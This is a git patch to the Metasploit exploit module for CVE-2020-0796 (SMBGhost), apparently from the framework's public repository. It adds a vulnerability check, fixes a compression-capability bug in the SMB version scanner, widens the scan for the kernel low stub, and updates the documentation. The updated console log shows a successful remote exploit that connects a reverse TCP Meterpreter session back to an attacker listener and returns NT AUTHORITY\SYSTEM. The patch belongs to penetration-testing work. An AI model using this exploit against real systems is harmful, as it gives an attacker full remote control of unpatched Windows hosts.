From 63e438e992d21fe170299fe5cb17c5c560e03e8d Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 9 Apr 2021 13:59:39 -0400 Subject: [PATCH] Bump RubySMB and add a simple check method --- Gemfile.lock | 2 +- .../windows/smb/cve_2020_0796_smbghost.md | 14 ++++---- modules/auxiliary/scanner/smb/smb_version.rb | 2 +- .../windows/smb/cve_2020_0796_smbghost.rb | 36 +++++++++++++++++-- 4 files changed, 43 insertions(+), 11 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 27e5dbabcd..8446d991bf 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -395,7 +395,7 @@ GEM ruby-progressbar (1.11.0) ruby-rc4 (0.1.5) ruby2_keywords (0.0.4) - ruby_smb (2.0.7) + ruby_smb (2.0.8) bindata openssl-ccm openssl-cmac diff --git a/documentation/modules/exploit/windows/smb/cve_2020_0796_smbghost.md b/documentation/modules/exploit/windows/smb/cve_2020_0796_smbghost.md index 74134b35c2..c669989e8d 100644 --- a/documentation/modules/exploit/windows/smb/cve_2020_0796_smbghost.md +++ b/documentation/modules/exploit/windows/smb/cve_2020_0796_smbghost.md @@ -55,7 +55,7 @@ The exploit is based on [this PoC][2] and [this research][3]. At a high level th ``` msf6 > use exploit/windows/smb/cve_2020_0796_smbghost -[*] Using configured payload windows/x64/meterpreter/reverse_tcp +[*] Using configured payload windows/meterpreter/reverse_tcp msf6 exploit(windows/smb/cve_2020_0796_smbghost) > set RHOSTS 192.168.159.76 RHOSTS => 192.168.159.76 msf6 exploit(windows/smb/cve_2020_0796_smbghost) > set PAYLOAD windows/x64/meterpreter/reverse_tcp @@ -65,15 +65,17 @@ LHOST => 192.168.159.128 msf6 exploit(windows/smb/cve_2020_0796_smbghost) > exploit [*] Started reverse TCP handler on 192.168.159.128:4444 +[*] 192.168.159.76:445 - Executing automatic check (disable AutoCheck to override) +[!] 192.168.159.76:445 - The service is running, but could not be validated. [*] 192.168.159.76:445 - Found low stub at physical address 0x0000000000013000 [*] 192.168.159.76:445 - PML4 at 0x00000000001ad000 (UEFI) -[*] 192.168.159.76:445 - HAL heap found at 0xfffff79dc0000000 -[*] 192.168.159.76:445 - Found PML4 self-reference entry at 0x01af -[*] 192.168.159.76:445 - Found hal!HalpInterruptController at 0xfffff79dc0001478 -[*] 192.168.159.76:445 - Found hal!HalpApicRequestInterrupt at 0xfffff80216eb7bb0 +[*] 192.168.159.76:445 - HAL heap found at 0xfffff7cd80000000 +[*] 192.168.159.76:445 - Found PML4 self-reference entry at 0x0122 +[*] 192.168.159.76:445 - Found hal!HalpInterruptController at 0xfffff7cd80001478 +[*] 192.168.159.76:445 - Found hal!HalpApicRequestInterrupt at 0xfffff8035f6b7bb0 [*] 192.168.159.76:445 - KUSER_SHARED_DATA PTE NX bit cleared! [*] Sending stage (200262 bytes) to 192.168.159.76 -[*] Meterpreter session 5 opened (192.168.159.128:4444 -> 192.168.159.76:49674) at 2021-04-09 12:22:13 -0400 +[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.76:49675) at 2021-04-09 14:01:43 -0400 meterpreter > getuid Server username: NT AUTHORITY\SYSTEM diff --git a/modules/auxiliary/scanner/smb/smb_version.rb b/modules/auxiliary/scanner/smb/smb_version.rb index 7310b965d9..f821f88395 100644 --- a/modules/auxiliary/scanner/smb/smb_version.rb +++ b/modules/auxiliary/scanner/smb/smb_version.rb @@ -93,7 +93,7 @@ class MetasploitModule < Msf::Auxiliary dialect = simple.client.dialect if simple.client.is_a? RubySMB::Client if dialect == '0x0311' - info[:capabilities][:compression] = simple.client.server_encryption_algorithms.map do |algorithm| + info[:capabilities][:compression] = simple.client.server_compression_algorithms.map do |algorithm| RubySMB::SMB2::CompressionCapabilities::COMPRESSION_ALGORITHM_MAP[algorithm] end info[:capabilities][:encryption] = simple.client.server_encryption_algorithms.map do |algorithm| diff --git a/modules/exploits/windows/smb/cve_2020_0796_smbghost.rb b/modules/exploits/windows/smb/cve_2020_0796_smbghost.rb index 4819ddc421..638fb9ac5d 100644 --- a/modules/exploits/windows/smb/cve_2020_0796_smbghost.rb +++ b/modules/exploits/windows/smb/cve_2020_0796_smbghost.rb @@ -7,8 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp - # include Msf::Exploit::Remote::CheckModule - # prepend Msf::Exploit::Remote::AutoCheck + prepend Msf::Exploit::Remote::AutoCheck LZNT1 = RubySMB::Compression::LZNT1 @@ -94,6 +93,36 @@ class MetasploitModule < Msf::Exploit::Remote register_options([Opt::RPORT(445),]) end + def check + begin + client = RubySMB::Client.new( + RubySMB::Dispatcher::Socket.new(connect(false)), + username: '', + password: '', + smb1: false, + smb2: false, + smb3: true + ) + protocol = client.negotiate + client.disconnect! + rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError + return CheckCode::Unknown + rescue Errno::ECONNRESET + return CheckCode::Unknown + rescue ::Exception => e # rubocop:disable Lint/RescueException + vprint_error("#{rhost}: #{e.class} #{e}") + return CheckCode::Unknown + end + + return CheckCode::Safe unless protocol == 'SMB3' + return CheckCode::Safe unless client.dialect == '0x0311' + + lznt1_algorithm = RubySMB::SMB2::CompressionCapabilities::COMPRESSION_ALGORITHM_MAP.key('LZNT1') + return CheckCode::Safe unless client.server_compression_algorithms.include?(lznt1_algorithm) + + CheckCode::Detected + end + def smb_negotiate # need a custom negotiate function because the responses will be corrupt while reading memory sock = connect(false) @@ -193,7 +222,7 @@ class MetasploitModule < Msf::Exploit::Remote end def find_low_stub - (0x13000..0x100000).step(0x1000) do |index| + (0x1000..0x100000).step(0x1000) do |index| buff = read_primitive(index) entry = buff.unpack('Q<').first next unless (entry & 0xffffffffffff00ff) == (target['LowStubFingerprint'] & 0xffffffffffff00ff) @@ -324,6 +353,7 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit + fail_with(Failure::BadConfig, "Incompatible payload: #{datastore['PAYLOAD']} (must be x64)") unless payload.arch.include? ARCH_X64 @memory_cache = {} pointers = find_low_stub pointers = find_pml4_selfref(pointers)